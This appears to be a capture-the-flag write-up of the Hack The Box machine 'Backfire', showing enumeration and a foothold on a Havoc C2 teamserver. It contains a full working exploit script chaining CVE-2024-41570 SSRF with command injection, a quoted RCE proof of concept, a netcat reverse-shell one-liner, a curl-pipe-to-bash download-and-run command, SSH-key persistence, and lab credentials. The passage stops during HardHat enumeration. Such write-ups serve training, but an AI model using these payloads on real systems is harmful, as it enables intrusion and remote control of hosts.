Page cover

Backfire

Synopsis

Backfire is a medium linux machine created by hyperreality and chebuya. The machine is using the havoc c2 framework which is vulnerable to CVE-2024-41570 SSRF and Auth RCE, by combining both the exploit we get the shell as ilya. The another c2 framework hardhat is running in port 7096 which is vulnerable to authentication bypass. By exploiting the hardhat authentication bypass we can access the hardhat. The hardhat has a built in terminal which can be used to gain shell as sergej. The sergej user has a privilege to run the iptables and iptables-save with sudo privileges which can be used to further privilege escalate as a root.

OS
Difficulty
Points
Release Date
Retired Date

Linux

Medium

30

18-01-2025

07-06-2025


Enumeration

Nmap

Started the nmap scan and found the ssh, https and http services running.

nmap -Pn -sC -sV --min-rate=500 10.10.11.49                         
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 17:47 EST
Nmap scan report for 10.10.11.49
Host is up (0.55s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT      STATE    SERVICE           VERSION
22/tcp    open     ssh               OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp   open     ssl/http          nginx 1.22.1
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-server-header: nginx/1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=corp/stateOrProvinceName=Arizona/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-12-30T19:01:22
|_Not valid after:  2027-12-30T19:01:22
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_ssl-date: TLS randomness does not represent time
465/tcp   filtered smtps
625/tcp   filtered apple-xsrvr-admin
1077/tcp  filtered imgames
1236/tcp  filtered bvcontrol
1580/tcp  filtered tn-tl-r1
2021/tcp  filtered servexec
3889/tcp  filtered dandv-tester
6346/tcp  filtered gnutella
8000/tcp  open     http              nginx 1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 11:31  disable_tls.patch
| 875   17-Dec-2024 11:34  havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
8088/tcp  filtered radan-http
8873/tcp  filtered dxspider
12345/tcp filtered netbus
16113/tcp filtered unknown
50003/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.07 seconds

https - 443

The 404 not found page is shown, while visiting the website.

The whatweb shows the uncommon x-havoc header.

whatweb -v https://10.10.11.49
WhatWeb report for https://10.10.11.49
Status    : 404 Not Found
Title     : 404 Not Found
IP        : 10.10.11.49
Country   : RESERVED, ZZ

Summary   : HTTPServer[nginx/1.22.1], nginx[1.22.1], UncommonHeaders[x-havoc]

Detected Plugins:
[ HTTPServer ]
	HTTP server header string. This plugin also attempts to 
	identify the operating system from the server header. 

	String       : nginx/1.22.1 (from server string)

[ UncommonHeaders ]
	Uncommon HTTP server headers. The blacklist includes all 
	the standard headers and many non standard but common ones. 
	Interesting but fairly common headers should have their own 
	plugins, eg. x-powered-by, server and x-aspnet-version. 
	Info about headers can be found at www.http-stats.com 

	String       : x-havoc (from headers)

[ nginx ]
	Nginx (Engine-X) is a free, open-source, high-performance 
	HTTP server and reverse proxy, as well as an IMAP/POP3 
	proxy server. 

	Version      : 1.22.1
	Website     : http://nginx.net/

HTTP Headers:
	HTTP/1.1 404 Not Found
	Server: nginx/1.22.1
	Date: Thu, 23 Jan 2025 01:50:55 GMT
	Content-Type: text/html
	Transfer-Encoding: chunked
	Connection: close
	X-Havoc: true
	Content-Encoding: gzip

http - 8000

The disable_tls.patch and havoc.yaotl files are present while visiting the website.

File - disable_tls.patch

The file shows us that the havoc is running and the tls for websocket has been disabled.

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();
 
     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();
 
     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}
 
 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
 		}

Changes

  1. The tls is disabled by changing wss:// into ws:// on port 40056. So we

  2. The setSslConfiguration( SslConf ) function is removed for ignoring SSL errors.

  3. The certPath and keyPath args are removed while starting the Teamserver.

File - havoc.yaotl

The .yaotl file is a profiles used for havoc C2 which contains all the configuration for havoc.

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

Information

  1. Teamserver Configuration

    1. Host: 127.0.0.1

    2. Port: 40056.

  2. The compiler used for build are:

    1. Compiler64: data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc

    2. Compiler86: data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc

    3. Nasm: /usr/bin/nasm

  3. Operators Account

    1. ilya: CobaltStr1keSuckz!

    2. sergej: 1w4nt2sw1tch2h4rdh4tc2

  4. Demon Configuration

    1. The Sleep of 2 seconds is used and Jitter of 15 seconds.

    2. The notepad.exe is set as default process for both x64 and x86.

  5. Listeners Configuration

    1. Host: backfire.htb

    2. HostBind: 127.0.0.1

    3. Listens on port 8443 using HTTPS.


Vulnerabilities

CVE-2024-41570 - Havoc-C2-SSRF

The machine creator Chebuya has created the PoC blog post and exploit about the CVE-2024-41570.

The vulnerability allows us to spoof demon agent registrations and check-ins to open a TCP socket to the teamserver, enabling attackers to read and write data. The PoC registers a fake agent, open a socket, write data and read responses.

Executing the PoC

Create the python virtual environment and install the required libraries, then execute the PoC.

python3 -m venv .venv
source .venv/bin/activate
python3 exploit.py -i 10.10.16.28 -p 8443 -t "https://10.10.11.49" -ip 127.0.0.1 
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 43658
GET /vulnerable HTTP/1.1
Host: www.example.com
Connection: close

The connection received on nc confirms the vulnerability and we can interact with havoc.

Information Security - Havoc Auth RCE

The Include Security Team has released proof-of-concepts (PoCs) for remote code execution (RCE) vulnerabilities targeting open-source C2 servers. The details are published in their blog post. They have also created the github repository which contains the python script for exploitation. The github repository can be found here. The PoC requires credentials which is obtained through havoc.yaotl.

import hashlib
import json
import ssl
from websocket import create_connection # pip install websocket-client

HOSTNAME = "192.168.167.129"
PORT = 40056
USER = "Neo"
PASSWORD = "password1234"

ws = create_connection(f"wss://{HOSTNAME}:{PORT}/havoc/",
                       sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})

# Authenticate to teamserver
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
ws.send(json.dumps(payload))
print(json.loads(ws.recv()))

# Create a listener to build demon agent for
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
ws.send(json.dumps(payload))

# Create a psuedo shell with RCE loop
while True:
    cmd = input("$ ")
    injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

    # Command injection in demon compilation command
    payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
        "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
    ws.send(json.dumps(payload))
    while True:
        bla = ws.recv()
        if b"compile output" in bla:
            bla2 = json.loads(bla)
            # print(bla2)
            out = bla2["Body"]["Info"]["Message"].split("\n")
            # print(out)

            for line in out[1:]:
                print(line)
            break

ws.close()

The PoC doesn't work from our local machine. We have to interact with the havoc through agents. The CVE-2024-41570 vulnerability can be used to interact with the havoc teamserver.

Foothold

By combining both the SSRF and RCE vulnerability we can interact with havoc teamserver and execute the command in host system.

Shell - ilya [ SSRF + Auth RCE Exploit ]

1

Combining both exploit's script with some modification for executing the command.

havoc_exp.py
import hashlib
import json
import os
import binascii
import random
import requests
import argparse
import urllib3
urllib3.disable_warnings()


from Crypto.Cipher import AES
from Crypto.Util import Counter

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):

    if len(key) <= key_bytes:
        for x in range(len(key),key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

    
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    # DEMON_INITIALIZE / 99
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data =  b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id

    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"

    # SOCKET_COMMAND_OPEN / 16
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"

    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"


    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"

    # SOCKET_COMMAND_READ / 11
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"

    # SOCKET_TYPE_CLIENT / 3
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand+socket_id+socket_type+success+data_length+data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data

    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    # COMMAND_GET_JOB / 1
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""


    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
parser.add_argument("-c", "--cmd", help="The command for RCE", default="id")
args = parser.parse_args()

# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
        "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

# Constants
HOST = "127.0.0.1"
PORT = 40056
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"

# Create a websocket 
request = (
    f"GET /havoc/ HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Upgrade: websocket\r\n"
    f"Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
    f"Sec-WebSocket-Version: 13\r\n\r\n"
).encode()
write_socket(socket_id, request)
print(read_socket(socket_id).decode())

# Function to build WebSocket frame
def build_websocket_frame(payload):
    try:
        payload_bytes = payload.encode("utf-8")
        frame = bytearray()
        frame.append(0x81)
        payload_length = len(payload_bytes)
        if payload_length <= 125:
            frame.append(0x80 | payload_length)
        elif payload_length <= 65535:
            frame.append(0x80 | 126)
            frame.extend(payload_length.to_bytes(2, byteorder="big"))
        else:
            frame.append(0x80 | 127)
            frame.extend(payload_length.to_bytes(8, byteorder="big"))
        masking_key = os.urandom(4)
        frame.extend(masking_key)
        masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
        frame.extend(masked_payload)
        return frame
    except Exception as e:
        print(f"[!!!] Failed to build WebSocket frame: {e}")
        return None

# Authenticate to the server
hashed_password = hashlib.sha3_256(PASSWORD.encode()).hexdigest()
payload = {
    "Body": {
        "Info": {
            "Password": hashed_password,
            "User": USER,
        },
        "SubEvent": 3,
    },
    "Head": {
        "Event": 1,
        "OneTime": "",
        "Time": "18:40:17",
        "User": USER,
    }
}
payload_json = json.dumps(payload)
print(f"[DEBUG] Sent payload for authenticate:\n{payload_json}")
ws_frame = build_websocket_frame(payload_json)
write_socket(socket_id, ws_frame)
print(read_socket(socket_id).decode())

# Create a listener to build demon agent
payload = {
  "Body": {
    "Info": {
      "Headers": "",
      "HostBind": "0.0.0.0",
      "HostHeader": "",
      "HostRotation": "round-robin",
      "Hosts": "0.0.0.0",
      "Name": "abc",
      "PortBind": "443",
      "PortConn": "443",
      "Protocol": "Https",
      "Proxy Enabled": "false",
      "Secure": "true",
      "Status": "online",
      "Uris": "",
      "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
    },
    "SubEvent": 1,
  },
  "Head": {
    "Event": 2,
    "OneTime": "",
    "Time": "08:39:18",
    "User": USER,
  }
}
payload_json = json.dumps(payload)
print(f"[DEBUG] Sent payload for creating a listener:\n{payload_json}")
ws_frame = build_websocket_frame(payload_json)
write_socket(socket_id, ws_frame)
print(read_socket(socket_id).decode())

# RCE 
cmd = args.cmd
print("Command for RCE: ", cmd)
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {
        "Body": {
            "Info": {
                "AgentType": "Demon",
                "Arch": "x64",
                "Config": (
                    "{\n"
                    "    \"Amsi/Etw Patch\": \"None\",\n"
                    "    \"Indirect Syscall\": false,\n"
                    "    \"Injection\": {\n"
                    "        \"Alloc\": \"Native/Syscall\",\n"
                    "        \"Execute\": \"Native/Syscall\",\n"
                    "        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n"
                    "        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n"
                    "    },\n"
                    "    \"Jitter\": \"0\",\n"
                    "    \"Proxy Loading\": \"None (LdrLoadDll)\",\n"
                    f"    \"Service Name\": \"{injection}\",\n"
                    "    \"Sleep\": \"2\",\n"
                    "    \"Sleep Jmp Gadget\": \"None\",\n"
                    "    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n"
                    "    \"Stack Duplication\": false\n"
                    "}\n"
                ),
                "Format": "Windows Service Exe",
                "Listener": "abc"
            },
            "SubEvent": 2
        },
        "Head": {
            "Event": 5,
            "OneTime": "true",
            "Time": "18:39:04",
            "User": USER
        }
    }
payload_json = json.dumps(payload)
ws_frame = build_websocket_frame(payload_json)
write_socket(socket_id, ws_frame)
print(read_socket(socket_id).decode())
2

Create the file with reverse shell payload

rev.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.6 8443 >/tmp/f
nc -lvnp 8443
Listening on 0.0.0.0 8443
3

Open python server and nc listener

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
nc -lvnp 8443
Listening on 0.0.0.0 8443
4

Execute the havoc_exp.py

python3 havoc_exp.py -i 127.0.0.1 -p 40056 -t "https://backfire.htb" -ip 127.0.0.1 --cmd "curl http://10.10.16.6:8000/rev.sh | bash" 
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

[DEBUG] Sent payload for authenticate:
{"Body": {"Info": {"Password": "2e65bab481bc3484332f48c771749afc052adc8383bef70fd0feeb71ce2d657b", "User": "ilya"}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": "ilya"}}
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

[DEBUG] Sent payload for creating a listener:
{"Body": {"Info": {"Headers": "", "HostBind": "0.0.0.0", "HostHeader": "", "HostRotation": "round-robin", "Hosts": "0.0.0.0", "Name": "abc", "PortBind": "443", "PortConn": "443", "Protocol": "Https", "Proxy Enabled": "false", "Secure": "true", "Status": "online", "Uris": "", "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"}, "SubEvent": 1}, "Head": {"Event": 2, "OneTime": "", "Time": "08:39:18", "User": "ilya"}}
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

Command for RCE:  curl http://10.10.16.6:8000/rev.sh | bash
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.49 - - [07/Feb/2025 07:54:46] "GET /rev.sh HTTP/1.1" 200 -
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 51906
sh: 0: can't access tty; job control turned off
$ whoami
ilya
$ % 

The shell is not persistent after some seconds it will terminate.

Getting persistent shell - ilya

We can get the persistent shell through ssh by creating ssh keypair and adding the our public key in ilya's ssh authorized_keys.

1

Create the ssh keypair

ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/dexter/.ssh/id_rsa): /home/dexter/HTB/Machines/Backfire/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/dexter/HTB/Machines/Backfire/id_rsa
Your public key has been saved in /home/dexter/HTB/Machines/Backfire/id_rsa.pub
The key fingerprint is:
SHA256:6sYoFLlgsqx48W45tMZ/1EaHnX40qwm+y5zHINMZC0w dexter@parrot
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|        E        |
|   .   o   o .   |
|o.o     o + + o  |
|+o o    S= * . o |
|..+ .  .+ O . o  |
|o. = =.. = + +   |
|o o X.o .o..=    |
| . =.+o.  *+     |
+----[SHA256]-----+

Copy the content of id_rsa.pub

2

Creating the payload and storing it in file

vi payload.txt
payload.txt
echo "<YOUR PUBLIC KEY>" >> /home/ilya/.ssh/authorized_keys
3

Get the shell using the above method. Copy and paste the content of payload.txt file

nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 47944
sh: 0: can't access tty; job control turned off
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9J2hQFK1/GLd8zx+yAhfaYZ0hkfgkFVXV4kdfxpyTe2vW41s6RgbhtsIila+TjJo37JecPHRF88J6i+0N3PWlTOaWm3/e55xm7aiYBqJDhytcXTuZiHUiSfaDuUy0o9b2Iw4wzf8MI/CQV/M7T05F5UUUmfr3MuIsSDBdsl8+SGG/K6mHxpE4wSa6k9h59tDX7KdTjO3WBQiCgdQJhPyIrFVvifNx7rSKCzT/5RduLL6O10kkd+TxaTTEGWClKqe3xbSueuFvp81BTF376LcKt81FiZVMLk9PhSeqay9gizHzqJirVIBjz15hvu90vARbewmXZ1D+8QRHKPC/7BALhqwvXgVDuH1ZW3hPNKto0aKScFnHVGUaxM6A/WY6+47Jl5RgL4JfzgF+UynrGGlO/C0XaUFnKppByLfwck0aeQErCMgbBxzrndlWffp74p6VXKgHtmzK7U0tCJnAiV1yIm5s01bkMbuEkUYUS67PJePQo+WeCd2TXUalowGSP9M= dexter@parrot" >> /home/ilya/.ssh/authorized_keys
$ 
4

Now ssh using the private key

ssh -i id_rsa ilya@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Feb 7 06:59:29 2025 from 10.10.16.6
ilya@backfire:~$ 

The user.txt file contains the user flag 👏


Privilege Escalation

Pillaging - ilya [ user ]

Listing the files and directories reveals the hardhat.txt file which contains message from Sergej.

ilya@backfire:~$ ls
files  hardhat.txt  Havoc  user.txt
ilya@backfire:~$ cat hardhat.txt
hardhat.txt
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C# 

The netstat reveals the two ports 5000 and 7096.

ilya@backfire:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:40056         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:7096            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 

Using curl in both the ports reveals that the 7096 is running hardhat and 5000 is running harhat teamserver with self-signed certificate.

Port 7096

ilya@backfire:~$ curl -k https://localhost:7096
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <base href="/" />
    <link rel="stylesheet" href="css/bootstrap/bootstrap.min.css" />
    <link href="css/site.css" rel="stylesheet" />
    <link href="HardHatC2Client.styles.css" rel="stylesheet" />
    <link href=”_content/Blazored.Toast/blazored-toast.css” rel=”stylesheet” />
    <link href="_content/Blazored.Toast/blazored-toast.min.css" rel="stylesheet" />
	<link href ="css/font-awesome/css/all.css" rel="stylesheet" />
    <link href="_content/MudBlazor/MudBlazor.min.css" rel="stylesheet" />
    <link href="_content/CodeBeam.MudBlazor.Extensions/MudExtensions.min.css" rel="stylesheet" />
    <link href="_content/Blazored.Typeahead/blazored-typeahead.css" rel="stylesheet" />
    <link href="_content/Z.Blazor.Diagrams/style.min.css" rel="stylesheet" />
    <link href="_content/Z.Blazor.Diagrams/default.styles.min.css" rel="stylesheet" />
    <link href="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.css" rel="stylesheet" />
